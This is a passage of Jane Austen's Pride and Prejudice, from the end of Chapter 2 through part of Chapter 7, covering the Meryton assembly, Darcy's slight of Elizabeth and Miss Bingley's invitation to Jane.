He +had always intended to visit him, though to the last always assuring +his wife that he should not go; and till the evening after the visit was +paid she had no knowledge of it. It was then disclosed in the following +manner. Observing his second daughter employed in trimming a hat, he +suddenly addressed her with: + +"I hope Mr. Bingley will like it, Lizzy." + +"We are not in a way to know _what_ Mr. Bingley likes," said her mother +resentfully, "since we are not to visit." + +"But you forget, mamma," said Elizabeth, "that we shall meet him at the +assemblies, and that Mrs. Long promised to introduce him." + +"I do not believe Mrs. Long will do any such thing. She has two nieces +of her own. She is a selfish, hypocritical woman, and I have no opinion +of her." + +"No more have I," said Mr. Bennet; "and I am glad to find that you do +not depend on her serving you." + +Mrs. Bennet deigned not to make any reply, but, unable to contain +herself, began scolding one of her daughters. + +"Don't keep coughing so, Kitty, for Heaven's sake! Have a little +compassion on my nerves. You tear them to pieces." + +"Kitty has no discretion in her coughs," said her father; "she times +them ill." + +"I do not cough for my own amusement," replied Kitty fretfully. "When is +your next ball to be, Lizzy?" + +"To-morrow fortnight." + +"Aye, so it is," cried her mother, "and Mrs. Long does not come back +till the day before; so it will be impossible for her to introduce him, +for she will not know him herself." + +"Then, my dear, you may have the advantage of your friend, and introduce +Mr. Bingley to _her_." + +"Impossible, Mr. Bennet, impossible, when I am not acquainted with him +myself; how can you be so teasing?" + +"I honour your circumspection. A fortnight's acquaintance is certainly +very little. One cannot know what a man really is by the end of a +fortnight. But if _we_ do not venture somebody else will; and after all, +Mrs. Long and her neices must stand their chance; and, therefore, as +she will think it an act of kindness, if you decline the office, I will +take it on myself." + +The girls stared at their father. Mrs. Bennet said only, "Nonsense, +nonsense!" + +"What can be the meaning of that emphatic exclamation?" cried he. "Do +you consider the forms of introduction, and the stress that is laid on +them, as nonsense? I cannot quite agree with you _there_. What say you, +Mary? For you are a young lady of deep reflection, I know, and read +great books and make extracts." + +Mary wished to say something sensible, but knew not how. + +"While Mary is adjusting her ideas," he continued, "let us return to Mr. +Bingley." + +"I am sick of Mr. Bingley," cried his wife. + +"I am sorry to hear _that_; but why did not you tell me that before? If +I had known as much this morning I certainly would not have called +on him. It is very unlucky; but as I have actually paid the visit, we +cannot escape the acquaintance now." + +The astonishment of the ladies was just what he wished; that of Mrs. +Bennet perhaps surpassing the rest; though, when the first tumult of joy +was over, she began to declare that it was what she had expected all the +while. + +"How good it was in you, my dear Mr. Bennet! But I knew I should +persuade you at last. I was sure you loved your girls too well to +neglect such an acquaintance. Well, how pleased I am! and it is such a +good joke, too, that you should have gone this morning and never said a +word about it till now." + +"Now, Kitty, you may cough as much as you choose," said Mr. Bennet; and, +as he spoke, he left the room, fatigued with the raptures of his wife. + +"What an excellent father you have, girls!" said she, when the door was +shut. "I do not know how you will ever make him amends for his kindness; +or me, either, for that matter. At our time of life it is not so +pleasant, I can tell you, to be making new acquaintances every day; but +for your sakes, we would do anything. Lydia, my love, though you _are_ +the youngest, I dare say Mr. Bingley will dance with you at the next +ball." + +"Oh!" said Lydia stoutly, "I am not afraid; for though I _am_ the +youngest, I'm the tallest." + +The rest of the evening was spent in conjecturing how soon he would +return Mr. Bennet's visit, and determining when they should ask him to +dinner. + + + +Chapter 3 + + +Not all that Mrs. Bennet, however, with the assistance of her five +daughters, could ask on the subject, was sufficient to draw from her +husband any satisfactory description of Mr. Bingley. They attacked him +in various ways--with barefaced questions, ingenious suppositions, and +distant surmises; but he eluded the skill of them all, and they were at +last obliged to accept the second-hand intelligence of their neighbour, +Lady Lucas. Her report was highly favourable. Sir William had been +delighted with him. He was quite young, wonderfully handsome, extremely +agreeable, and, to crown the whole, he meant to be at the next assembly +with a large party. Nothing could be more delightful! To be fond of +dancing was a certain step towards falling in love; and very lively +hopes of Mr. Bingley's heart were entertained. + +"If I can but see one of my daughters happily settled at Netherfield," +said Mrs. Bennet to her husband, "and all the others equally well +married, I shall have nothing to wish for." + +In a few days Mr. Bingley returned Mr. Bennet's visit, and sat about +ten minutes with him in his library. He had entertained hopes of being +admitted to a sight of the young ladies, of whose beauty he had +heard much; but he saw only the father. The ladies were somewhat more +fortunate, for they had the advantage of ascertaining from an upper +window that he wore a blue coat, and rode a black horse. + +An invitation to dinner was soon afterwards dispatched; and already +had Mrs. Bennet planned the courses that were to do credit to her +housekeeping, when an answer arrived which deferred it all. Mr. Bingley +was obliged to be in town the following day, and, consequently, unable +to accept the honour of their invitation, etc. Mrs. Bennet was quite +disconcerted. She could not imagine what business he could have in town +so soon after his arrival in Hertfordshire; and she began to fear that +he might be always flying about from one place to another, and never +settled at Netherfield as he ought to be. Lady Lucas quieted her fears +a little by starting the idea of his being gone to London only to get +a large party for the ball; and a report soon followed that Mr. Bingley +was to bring twelve ladies and seven gentlemen with him to the assembly. +The girls grieved over such a number of ladies, but were comforted the +day before the ball by hearing, that instead of twelve he brought only +six with him from London--his five sisters and a cousin. And when +the party entered the assembly room it consisted of only five +altogether--Mr. Bingley, his two sisters, the husband of the eldest, and +another young man. + +Mr. Bingley was good-looking and gentlemanlike; he had a pleasant +countenance, and easy, unaffected manners. His sisters were fine women, +with an air of decided fashion. His brother-in-law, Mr. Hurst, merely +looked the gentleman; but his friend Mr. Darcy soon drew the attention +of the room by his fine, tall person, handsome features, noble mien, and +the report which was in general circulation within five minutes +after his entrance, of his having ten thousand a year. The gentlemen +pronounced him to be a fine figure of a man, the ladies declared he +was much handsomer than Mr. Bingley, and he was looked at with great +admiration for about half the evening, till his manners gave a disgust +which turned the tide of his popularity; for he was discovered to be +proud; to be above his company, and above being pleased; and not all +his large estate in Derbyshire could then save him from having a most +forbidding, disagreeable countenance, and being unworthy to be compared +with his friend. + +Mr. Bingley had soon made himself acquainted with all the principal +people in the room; he was lively and unreserved, danced every dance, +was angry that the ball closed so early, and talked of giving +one himself at Netherfield. Such amiable qualities must speak for +themselves. What a contrast between him and his friend! Mr. Darcy danced +only once with Mrs. Hurst and once with Miss Bingley, declined being +introduced to any other lady, and spent the rest of the evening in +walking about the room, speaking occasionally to one of his own party. +His character was decided. He was the proudest, most disagreeable man +in the world, and everybody hoped that he would never come there again. +Amongst the most violent against him was Mrs. Bennet, whose dislike of +his general behaviour was sharpened into particular resentment by his +having slighted one of her daughters. + +Elizabeth Bennet had been obliged, by the scarcity of gentlemen, to sit +down for two dances; and during part of that time, Mr. Darcy had been +standing near enough for her to hear a conversation between him and Mr. +Bingley, who came from the dance for a few minutes, to press his friend +to join it. + +"Come, Darcy," said he, "I must have you dance. I hate to see you +standing about by yourself in this stupid manner. You had much better +dance." + +"I certainly shall not. You know how I detest it, unless I am +particularly acquainted with my partner. At such an assembly as this +it would be insupportable. Your sisters are engaged, and there is not +another woman in the room whom it would not be a punishment to me to +stand up with." + +"I would not be so fastidious as you are," cried Mr. Bingley, "for a +kingdom! Upon my honour, I never met with so many pleasant girls in +my life as I have this evening; and there are several of them you see +uncommonly pretty." + +"_You_ are dancing with the only handsome girl in the room," said Mr. +Darcy, looking at the eldest Miss Bennet. + +"Oh! She is the most beautiful creature I ever beheld! But there is one +of her sisters sitting down just behind you, who is very pretty, and I +dare say very agreeable. Do let me ask my partner to introduce you." + +"Which do you mean?" and turning round he looked for a moment at +Elizabeth, till catching her eye, he withdrew his own and coldly said: +"She is tolerable, but not handsome enough to tempt _me_; I am in no +humour at present to give consequence to young ladies who are slighted +by other men. You had better return to your partner and enjoy her +smiles, for you are wasting your time with me." + +Mr. Bingley followed his advice. Mr. Darcy walked off; and Elizabeth +remained with no very cordial feelings toward him. She told the story, +however, with great spirit among her friends; for she had a lively, +playful disposition, which delighted in anything ridiculous. + +The evening altogether passed off pleasantly to the whole family. Mrs. +Bennet had seen her eldest daughter much admired by the Netherfield +party. Mr. Bingley had danced with her twice, and she had been +distinguished by his sisters. Jane was as much gratified by this as +her mother could be, though in a quieter way. Elizabeth felt Jane's +pleasure. Mary had heard herself mentioned to Miss Bingley as the most +accomplished girl in the neighbourhood; and Catherine and Lydia had been +fortunate enough never to be without partners, which was all that they +had yet learnt to care for at a ball. They returned, therefore, in good +spirits to Longbourn, the village where they lived, and of which they +were the principal inhabitants. They found Mr. Bennet still up. With +a book he was regardless of time; and on the present occasion he had a +good deal of curiosity as to the event of an evening which had raised +such splendid expectations. He had rather hoped that his wife's views on +the stranger would be disappointed; but he soon found out that he had a +different story to hear. + +"Oh! my dear Mr. Bennet," as she entered the room, "we have had a most +delightful evening, a most excellent ball. I wish you had been there. +Jane was so admired, nothing could be like it. Everybody said how well +she looked; and Mr. Bingley thought her quite beautiful, and danced with +her twice! Only think of _that_, my dear; he actually danced with her +twice! and she was the only creature in the room that he asked a second +time. First of all, he asked Miss Lucas. I was so vexed to see him stand +up with her! But, however, he did not admire her at all; indeed, nobody +can, you know; and he seemed quite struck with Jane as she was going +down the dance. So he inquired who she was, and got introduced, and +asked her for the two next. Then the two third he danced with Miss King, +and the two fourth with Maria Lucas, and the two fifth with Jane again, +and the two sixth with Lizzy, and the _Boulanger_--" + +"If he had had any compassion for _me_," cried her husband impatiently, +"he would not have danced half so much! For God's sake, say no more of +his partners. Oh that he had sprained his ankle in the first dance!" + +"Oh! my dear, I am quite delighted with him. He is so excessively +handsome! And his sisters are charming women. I never in my life saw +anything more elegant than their dresses. I dare say the lace upon Mrs. +Hurst's gown--" + +Here she was interrupted again. Mr. Bennet protested against any +description of finery. She was therefore obliged to seek another branch +of the subject, and related, with much bitterness of spirit and some +exaggeration, the shocking rudeness of Mr. Darcy. + +"But I can assure you," she added, "that Lizzy does not lose much by not +suiting _his_ fancy; for he is a most disagreeable, horrid man, not at +all worth pleasing. So high and so conceited that there was no enduring +him! He walked here, and he walked there, fancying himself so very +great! Not handsome enough to dance with! I wish you had been there, my +dear, to have given him one of your set-downs. I quite detest the man." + + + +Chapter 4 + + +When Jane and Elizabeth were alone, the former, who had been cautious in +her praise of Mr. Bingley before, expressed to her sister just how very +much she admired him. + +"He is just what a young man ought to be," said she, "sensible, +good-humoured, lively; and I never saw such happy manners!--so much +ease, with such perfect good breeding!" + +"He is also handsome," replied Elizabeth, "which a young man ought +likewise to be, if he possibly can. His character is thereby complete." + +"I was very much flattered by his asking me to dance a second time. I +did not expect such a compliment." + +"Did not you? I did for you. But that is one great difference between +us. Compliments always take _you_ by surprise, and _me_ never. What +could be more natural than his asking you again? He could not help +seeing that you were about five times as pretty as every other woman +in the room. No thanks to his gallantry for that. Well, he certainly is +very agreeable, and I give you leave to like him. You have liked many a +stupider person." + +"Dear Lizzy!" + +"Oh! you are a great deal too apt, you know, to like people in general. +You never see a fault in anybody. All the world are good and agreeable +in your eyes. I never heard you speak ill of a human being in your +life." + +"I would not wish to be hasty in censuring anyone; but I always speak +what I think." + +"I know you do; and it is _that_ which makes the wonder. With _your_ +good sense, to be so honestly blind to the follies and nonsense of +others! Affectation of candour is common enough--one meets with it +everywhere. But to be candid without ostentation or design--to take the +good of everybody's character and make it still better, and say nothing +of the bad--belongs to you alone. And so you like this man's sisters, +too, do you? Their manners are not equal to his." + +"Certainly not--at first. But they are very pleasing women when you +converse with them. Miss Bingley is to live with her brother, and keep +his house; and I am much mistaken if we shall not find a very charming +neighbour in her." + +Elizabeth listened in silence, but was not convinced; their behaviour at +the assembly had not been calculated to please in general; and with more +quickness of observation and less pliancy of temper than her sister, +and with a judgement too unassailed by any attention to herself, she +was very little disposed to approve them. They were in fact very fine +ladies; not deficient in good humour when they were pleased, nor in the +power of making themselves agreeable when they chose it, but proud and +conceited. They were rather handsome, had been educated in one of the +first private seminaries in town, had a fortune of twenty thousand +pounds, were in the habit of spending more than they ought, and of +associating with people of rank, and were therefore in every respect +entitled to think well of themselves, and meanly of others. They were of +a respectable family in the north of England; a circumstance more deeply +impressed on their memories than that their brother's fortune and their +own had been acquired by trade. + +Mr. Bingley inherited property to the amount of nearly a hundred +thousand pounds from his father, who had intended to purchase an +estate, but did not live to do it. Mr. Bingley intended it likewise, and +sometimes made choice of his county; but as he was now provided with a +good house and the liberty of a manor, it was doubtful to many of those +who best knew the easiness of his temper, whether he might not spend the +remainder of his days at Netherfield, and leave the next generation to +purchase. + +His sisters were anxious for his having an estate of his own; but, +though he was now only established as a tenant, Miss Bingley was by no +means unwilling to preside at his table--nor was Mrs. Hurst, who had +married a man of more fashion than fortune, less disposed to consider +his house as her home when it suited her. Mr. Bingley had not been of +age two years, when he was tempted by an accidental recommendation +to look at Netherfield House. He did look at it, and into it for +half-an-hour--was pleased with the situation and the principal +rooms, satisfied with what the owner said in its praise, and took it +immediately. + +Between him and Darcy there was a very steady friendship, in spite of +great opposition of character. Bingley was endeared to Darcy by the +easiness, openness, and ductility of his temper, though no disposition +could offer a greater contrast to his own, and though with his own he +never appeared dissatisfied. On the strength of Darcy's regard, Bingley +had the firmest reliance, and of his judgement the highest opinion. +In understanding, Darcy was the superior. Bingley was by no means +deficient, but Darcy was clever. He was at the same time haughty, +reserved, and fastidious, and his manners, though well-bred, were not +inviting. In that respect his friend had greatly the advantage. Bingley +was sure of being liked wherever he appeared, Darcy was continually +giving offense. + +The manner in which they spoke of the Meryton assembly was sufficiently +characteristic. Bingley had never met with more pleasant people or +prettier girls in his life; everybody had been most kind and attentive +to him; there had been no formality, no stiffness; he had soon felt +acquainted with all the room; and, as to Miss Bennet, he could not +conceive an angel more beautiful. Darcy, on the contrary, had seen a +collection of people in whom there was little beauty and no fashion, for +none of whom he had felt the smallest interest, and from none received +either attention or pleasure. Miss Bennet he acknowledged to be pretty, +but she smiled too much. + +Mrs. Hurst and her sister allowed it to be so--but still they admired +her and liked her, and pronounced her to be a sweet girl, and one +whom they would not object to know more of. Miss Bennet was therefore +established as a sweet girl, and their brother felt authorized by such +commendation to think of her as he chose. + + + +Chapter 5 + + +Within a short walk of Longbourn lived a family with whom the Bennets +were particularly intimate. Sir William Lucas had been formerly in trade +in Meryton, where he had made a tolerable fortune, and risen to the +honour of knighthood by an address to the king during his mayoralty. +The distinction had perhaps been felt too strongly. It had given him a +disgust to his business, and to his residence in a small market town; +and, in quitting them both, he had removed with his family to a house +about a mile from Meryton, denominated from that period Lucas Lodge, +where he could think with pleasure of his own importance, and, +unshackled by business, occupy himself solely in being civil to all +the world. For, though elated by his rank, it did not render him +supercilious; on the contrary, he was all attention to everybody. By +nature inoffensive, friendly, and obliging, his presentation at St. +James's had made him courteous. + +Lady Lucas was a very good kind of woman, not too clever to be a +valuable neighbour to Mrs. Bennet. They had several children. The eldest +of them, a sensible, intelligent young woman, about twenty-seven, was +Elizabeth's intimate friend. + +That the Miss Lucases and the Miss Bennets should meet to talk over +a ball was absolutely necessary; and the morning after the assembly +brought the former to Longbourn to hear and to communicate. + +"_You_ began the evening well, Charlotte," said Mrs. Bennet with civil +self-command to Miss Lucas. "_You_ were Mr. Bingley's first choice." + +"Yes; but he seemed to like his second better." + +"Oh! you mean Jane, I suppose, because he danced with her twice. To be +sure that _did_ seem as if he admired her--indeed I rather believe he +_did_--I heard something about it--but I hardly know what--something +about Mr. Robinson." + +"Perhaps you mean what I overheard between him and Mr. Robinson; did not +I mention it to you? Mr. Robinson's asking him how he liked our Meryton +assemblies, and whether he did not think there were a great many +pretty women in the room, and _which_ he thought the prettiest? and his +answering immediately to the last question: 'Oh! the eldest Miss Bennet, +beyond a doubt; there cannot be two opinions on that point.'" + +"Upon my word! Well, that is very decided indeed--that does seem as +if--but, however, it may all come to nothing, you know." + +"_My_ overhearings were more to the purpose than _yours_, Eliza," said +Charlotte. "Mr. Darcy is not so well worth listening to as his friend, +is he?--poor Eliza!--to be only just _tolerable_." + +"I beg you would not put it into Lizzy's head to be vexed by his +ill-treatment, for he is such a disagreeable man, that it would be quite +a misfortune to be liked by him. Mrs. Long told me last night that he +sat close to her for half-an-hour without once opening his lips." + +"Are you quite sure, ma'am?--is not there a little mistake?" said Jane. +"I certainly saw Mr. Darcy speaking to her." + +"Aye--because she asked him at last how he liked Netherfield, and he +could not help answering her; but she said he seemed quite angry at +being spoke to." + +"Miss Bingley told me," said Jane, "that he never speaks much, +unless among his intimate acquaintances. With _them_ he is remarkably +agreeable." + +"I do not believe a word of it, my dear. If he had been so very +agreeable, he would have talked to Mrs. Long. But I can guess how it +was; everybody says that he is eat up with pride, and I dare say he had +heard somehow that Mrs. Long does not keep a carriage, and had come to +the ball in a hack chaise." + +"I do not mind his not talking to Mrs. Long," said Miss Lucas, "but I +wish he had danced with Eliza." + +"Another time, Lizzy," said her mother, "I would not dance with _him_, +if I were you." + +"I believe, ma'am, I may safely promise you _never_ to dance with him." + +"His pride," said Miss Lucas, "does not offend _me_ so much as pride +often does, because there is an excuse for it. One cannot wonder that so +very fine a young man, with family, fortune, everything in his favour, +should think highly of himself. If I may so express it, he has a _right_ +to be proud." + +"That is very true," replied Elizabeth, "and I could easily forgive +_his_ pride, if he had not mortified _mine_." + +"Pride," observed Mary, who piqued herself upon the solidity of her +reflections, "is a very common failing, I believe. By all that I have +ever read, I am convinced that it is very common indeed; that human +nature is particularly prone to it, and that there are very few of us +who do not cherish a feeling of self-complacency on the score of some +quality or other, real or imaginary. Vanity and pride are different +things, though the words are often used synonymously. A person may +be proud without being vain. Pride relates more to our opinion of +ourselves, vanity to what we would have others think of us." + +"If I were as rich as Mr. Darcy," cried a young Lucas, who came with +his sisters, "I should not care how proud I was. I would keep a pack of +foxhounds, and drink a bottle of wine a day." + +"Then you would drink a great deal more than you ought," said Mrs. +Bennet; "and if I were to see you at it, I should take away your bottle +directly." + +The boy protested that she should not; she continued to declare that she +would, and the argument ended only with the visit. + + + +Chapter 6 + + +The ladies of Longbourn soon waited on those of Netherfield. The visit +was soon returned in due form. Miss Bennet's pleasing manners grew on +the goodwill of Mrs. Hurst and Miss Bingley; and though the mother was +found to be intolerable, and the younger sisters not worth speaking to, +a wish of being better acquainted with _them_ was expressed towards +the two eldest. By Jane, this attention was received with the greatest +pleasure, but Elizabeth still saw superciliousness in their treatment +of everybody, hardly excepting even her sister, and could not like them; +though their kindness to Jane, such as it was, had a value as arising in +all probability from the influence of their brother's admiration. It +was generally evident whenever they met, that he _did_ admire her and +to _her_ it was equally evident that Jane was yielding to the preference +which she had begun to entertain for him from the first, and was in a +way to be very much in love; but she considered with pleasure that it +was not likely to be discovered by the world in general, since Jane +united, with great strength of feeling, a composure of temper and a +uniform cheerfulness of manner which would guard her from the suspicions +of the impertinent. She mentioned this to her friend Miss Lucas. + +"It may perhaps be pleasant," replied Charlotte, "to be able to impose +on the public in such a case; but it is sometimes a disadvantage to be +so very guarded. If a woman conceals her affection with the same skill +from the object of it, she may lose the opportunity of fixing him; and +it will then be but poor consolation to believe the world equally in +the dark. There is so much of gratitude or vanity in almost every +attachment, that it is not safe to leave any to itself. We can all +_begin_ freely--a slight preference is natural enough; but there are +very few of us who have heart enough to be really in love without +encouragement. In nine cases out of ten a women had better show _more_ +affection than she feels. Bingley likes your sister undoubtedly; but he +may never do more than like her, if she does not help him on." + +"But she does help him on, as much as her nature will allow. If I can +perceive her regard for him, he must be a simpleton, indeed, not to +discover it too." + +"Remember, Eliza, that he does not know Jane's disposition as you do." + +"But if a woman is partial to a man, and does not endeavour to conceal +it, he must find it out." + +"Perhaps he must, if he sees enough of her. But, though Bingley and Jane +meet tolerably often, it is never for many hours together; and, as they +always see each other in large mixed parties, it is impossible that +every moment should be employed in conversing together. Jane should +therefore make the most of every half-hour in which she can command his +attention. When she is secure of him, there will be more leisure for +falling in love as much as she chooses." + +"Your plan is a good one," replied Elizabeth, "where nothing is in +question but the desire of being well married, and if I were determined +to get a rich husband, or any husband, I dare say I should adopt it. But +these are not Jane's feelings; she is not acting by design. As yet, +she cannot even be certain of the degree of her own regard nor of its +reasonableness. She has known him only a fortnight. She danced four +dances with him at Meryton; she saw him one morning at his own house, +and has since dined with him in company four times. This is not quite +enough to make her understand his character." + +"Not as you represent it. Had she merely _dined_ with him, she might +only have discovered whether he had a good appetite; but you must +remember that four evenings have also been spent together--and four +evenings may do a great deal." + +"Yes; these four evenings have enabled them to ascertain that they +both like Vingt-un better than Commerce; but with respect to any other +leading characteristic, I do not imagine that much has been unfolded." + +"Well," said Charlotte, "I wish Jane success with all my heart; and +if she were married to him to-morrow, I should think she had as good a +chance of happiness as if she were to be studying his character for a +twelvemonth. Happiness in marriage is entirely a matter of chance. If +the dispositions of the parties are ever so well known to each other or +ever so similar beforehand, it does not advance their felicity in the +least. They always continue to grow sufficiently unlike afterwards to +have their share of vexation; and it is better to know as little as +possible of the defects of the person with whom you are to pass your +life." + +"You make me laugh, Charlotte; but it is not sound. You know it is not +sound, and that you would never act in this way yourself." + +Occupied in observing Mr. Bingley's attentions to her sister, Elizabeth +was far from suspecting that she was herself becoming an object of some +interest in the eyes of his friend. Mr. Darcy had at first scarcely +allowed her to be pretty; he had looked at her without admiration at the +ball; and when they next met, he looked at her only to criticise. But no +sooner had he made it clear to himself and his friends that she hardly +had a good feature in her face, than he began to find it was rendered +uncommonly intelligent by the beautiful expression of her dark eyes. To +this discovery succeeded some others equally mortifying. Though he had +detected with a critical eye more than one failure of perfect symmetry +in her form, he was forced to acknowledge her figure to be light and +pleasing; and in spite of his asserting that her manners were not those +of the fashionable world, he was caught by their easy playfulness. Of +this she was perfectly unaware; to her he was only the man who made +himself agreeable nowhere, and who had not thought her handsome enough +to dance with. + +He began to wish to know more of her, and as a step towards conversing +with her himself, attended to her conversation with others. His doing so +drew her notice. It was at Sir William Lucas's, where a large party were +assembled. + +"What does Mr. Darcy mean," said she to Charlotte, "by listening to my +conversation with Colonel Forster?" + +"That is a question which Mr. Darcy only can answer." + +"But if he does it any more I shall certainly let him know that I see +what he is about. He has a very satirical eye, and if I do not begin by +being impertinent myself, I shall soon grow afraid of him." + +On his approaching them soon afterwards, though without seeming to have +any intention of speaking, Miss Lucas defied her friend to mention such +a subject to him; which immediately provoking Elizabeth to do it, she +turned to him and said: + +"Did you not think, Mr. Darcy, that I expressed myself uncommonly +well just now, when I was teasing Colonel Forster to give us a ball at +Meryton?" + +"With great energy; but it is always a subject which makes a lady +energetic." + +"You are severe on us." + +"It will be _her_ turn soon to be teased," said Miss Lucas. "I am going +to open the instrument, Eliza, and you know what follows." + +"You are a very strange creature by way of a friend!--always wanting me +to play and sing before anybody and everybody! If my vanity had taken +a musical turn, you would have been invaluable; but as it is, I would +really rather not sit down before those who must be in the habit of +hearing the very best performers." On Miss Lucas's persevering, however, +she added, "Very well, if it must be so, it must." And gravely glancing +at Mr. Darcy, "There is a fine old saying, which everybody here is of +course familiar with: 'Keep your breath to cool your porridge'; and I +shall keep mine to swell my song." + +Her performance was pleasing, though by no means capital. After a song +or two, and before she could reply to the entreaties of several that +she would sing again, she was eagerly succeeded at the instrument by her +sister Mary, who having, in consequence of being the only plain one in +the family, worked hard for knowledge and accomplishments, was always +impatient for display. + +Mary had neither genius nor taste; and though vanity had given her +application, it had given her likewise a pedantic air and conceited +manner, which would have injured a higher degree of excellence than she +had reached. Elizabeth, easy and unaffected, had been listened to with +much more pleasure, though not playing half so well; and Mary, at the +end of a long concerto, was glad to purchase praise and gratitude by +Scotch and Irish airs, at the request of her younger sisters, who, +with some of the Lucases, and two or three officers, joined eagerly in +dancing at one end of the room. + +Mr. Darcy stood near them in silent indignation at such a mode of +passing the evening, to the exclusion of all conversation, and was too +much engrossed by his thoughts to perceive that Sir William Lucas was +his neighbour, till Sir William thus began: + +"What a charming amusement for young people this is, Mr. Darcy! There +is nothing like dancing after all. I consider it as one of the first +refinements of polished society." + +"Certainly, sir; and it has the advantage also of being in vogue amongst +the less polished societies of the world. Every savage can dance." + +Sir William only smiled. "Your friend performs delightfully," he +continued after a pause, on seeing Bingley join the group; "and I doubt +not that you are an adept in the science yourself, Mr. Darcy." + +"You saw me dance at Meryton, I believe, sir." + +"Yes, indeed, and received no inconsiderable pleasure from the sight. Do +you often dance at St. James's?" + +"Never, sir." + +"Do you not think it would be a proper compliment to the place?" + +"It is a compliment which I never pay to any place if I can avoid it." + +"You have a house in town, I conclude?" + +Mr. Darcy bowed. + +"I had once had some thought of fixing in town myself--for I am fond +of superior society; but I did not feel quite certain that the air of +London would agree with Lady Lucas." + +He paused in hopes of an answer; but his companion was not disposed +to make any; and Elizabeth at that instant moving towards them, he was +struck with the action of doing a very gallant thing, and called out to +her: + +"My dear Miss Eliza, why are you not dancing? Mr. Darcy, you must allow +me to present this young lady to you as a very desirable partner. You +cannot refuse to dance, I am sure when so much beauty is before you." +And, taking her hand, he would have given it to Mr. Darcy who, though +extremely surprised, was not unwilling to receive it, when she instantly +drew back, and said with some discomposure to Sir William: + +"Indeed, sir, I have not the least intention of dancing. I entreat you +not to suppose that I moved this way in order to beg for a partner." + +Mr. Darcy, with grave propriety, requested to be allowed the honour of +her hand, but in vain. Elizabeth was determined; nor did Sir William at +all shake her purpose by his attempt at persuasion. + +"You excel so much in the dance, Miss Eliza, that it is cruel to deny +me the happiness of seeing you; and though this gentleman dislikes the +amusement in general, he can have no objection, I am sure, to oblige us +for one half-hour." + +"Mr. Darcy is all politeness," said Elizabeth, smiling. + +"He is, indeed; but, considering the inducement, my dear Miss Eliza, +we cannot wonder at his complaisance--for who would object to such a +partner?" + +Elizabeth looked archly, and turned away. Her resistance had not +injured her with the gentleman, and he was thinking of her with some +complacency, when thus accosted by Miss Bingley: + +"I can guess the subject of your reverie." + +"I should imagine not." + +"You are considering how insupportable it would be to pass many evenings +in this manner--in such society; and indeed I am quite of your opinion. +I was never more annoyed! The insipidity, and yet the noise--the +nothingness, and yet the self-importance of all those people! What would +I give to hear your strictures on them!" + +"Your conjecture is totally wrong, I assure you. My mind was more +agreeably engaged. I have been meditating on the very great pleasure +which a pair of fine eyes in the face of a pretty woman can bestow." + +Miss Bingley immediately fixed her eyes on his face, and desired he +would tell her what lady had the credit of inspiring such reflections. +Mr. Darcy replied with great intrepidity: + +"Miss Elizabeth Bennet." + +"Miss Elizabeth Bennet!" repeated Miss Bingley. "I am all astonishment. +How long has she been such a favourite?--and pray, when am I to wish you +joy?" + +"That is exactly the question which I expected you to ask. A lady's +imagination is very rapid; it jumps from admiration to love, from love +to matrimony, in a moment. I knew you would be wishing me joy." + +"Nay, if you are serious about it, I shall consider the matter is +absolutely settled. You will be having a charming mother-in-law, indeed; +and, of course, she will always be at Pemberley with you." + +He listened to her with perfect indifference while she chose to +entertain herself in this manner; and as his composure convinced her +that all was safe, her wit flowed long. + + + +Chapter 7 + + +Mr. Bennet's property consisted almost entirely in an estate of two +thousand a year, which, unfortunately for his daughters, was entailed, +in default of heirs male, on a distant relation; and their mother's +fortune, though ample for her situation in life, could but ill supply +the deficiency of his. Her father had been an attorney in Meryton, and +had left her four thousand pounds. + +She had a sister married to a Mr. Phillips, who had been a clerk to +their father and succeeded him in the business, and a brother settled in +London in a respectable line of trade. + +The village of Longbourn was only one mile from Meryton; a most +convenient distance for the young ladies, who were usually tempted +thither three or four times a week, to pay their duty to their aunt and +to a milliner's shop just over the way. The two youngest of the family, +Catherine and Lydia, were particularly frequent in these attentions; +their minds were more vacant than their sisters', and when nothing +better offered, a walk to Meryton was necessary to amuse their morning +hours and furnish conversation for the evening; and however bare of news +the country in general might be, they always contrived to learn some +from their aunt. At present, indeed, they were well supplied both with +news and happiness by the recent arrival of a militia regiment in the +neighbourhood; it was to remain the whole winter, and Meryton was the +headquarters. + +Their visits to Mrs. Phillips were now productive of the most +interesting intelligence. Every day added something to their knowledge +of the officers' names and connections. Their lodgings were not long a +secret, and at length they began to know the officers themselves. Mr. +Phillips visited them all, and this opened to his nieces a store of +felicity unknown before. They could talk of nothing but officers; and +Mr. Bingley's large fortune, the mention of which gave animation +to their mother, was worthless in their eyes when opposed to the +regimentals of an ensign. + +After listening one morning to their effusions on this subject, Mr. +Bennet coolly observed: + +"From all that I can collect by your manner of talking, you must be two +of the silliest girls in the country. I have suspected it some time, but +I am now convinced." + +Catherine was disconcerted, and made no answer; but Lydia, with perfect +indifference, continued to express her admiration of Captain Carter, +and her hope of seeing him in the course of the day, as he was going the +next morning to London. + +"I am astonished, my dear," said Mrs. Bennet, "that you should be so +ready to think your own children silly. If I wished to think slightingly +of anybody's children, it should not be of my own, however." + +"If my children are silly, I must hope to be always sensible of it." + +"Yes--but as it happens, they are all of them very clever." + +"This is the only point, I flatter myself, on which we do not agree. I +had hoped that our sentiments coincided in every particular, but I must +so far differ from you as to think our two youngest daughters uncommonly +foolish." + +"My dear Mr. Bennet, you must not expect such girls to have the sense of +their father and mother. When they get to our age, I dare say they will +not think about officers any more than we do. I remember the time when +I liked a red coat myself very well--and, indeed, so I do still at my +heart; and if a smart young colonel, with five or six thousand a year, +should want one of my girls I shall not say nay to him; and I thought +Colonel Forster looked very becoming the other night at Sir William's in +his regimentals." + +"Mamma," cried Lydia, "my aunt says that Colonel Forster and Captain +Carter do not go so often to Miss Watson's as they did when they first +came; she sees them now very often standing in Clarke's library." + +Mrs. Bennet was prevented replying by the entrance of the footman with +a note for Miss Bennet; it came from Netherfield, and the servant waited +for an answer. Mrs. Bennet's eyes sparkled with pleasure, and she was +eagerly calling out, while her daughter read, + +"Well, Jane, who is it from? What is it about? What does he say? Well, +Jane, make haste and tell us; make haste, my love." + +"It is from Miss Bingley," said Jane, and then read it aloud. + +"MY DEAR FRIEND,-- + +"If you are not so compassionate as to dine to-day with Louisa and me, +we shall be in danger of hating each other for the rest of our lives, +for a whole day's tete-a-tete between two women can never end without a +quarrel. Come as soon as you can on receipt of this. My brother and the +gentlemen are to dine with the officers.--Yours ever, + +"CAROLINE BINGLEY" + +"With the officers!" cried Lydia. "I wonder my aunt did not tell us of +_that_." + +"Dining out," said Mrs. Bennet, "that is very unlucky." + +"Can I have the carriage?" said Jane. + +"No, my dear, you had better go on horseback, because it seems likely to +rain; and then you must stay all night." + +"That would be a good scheme," said Elizabeth, "if you were sure that +they would not offer to send her home." + +"Oh! 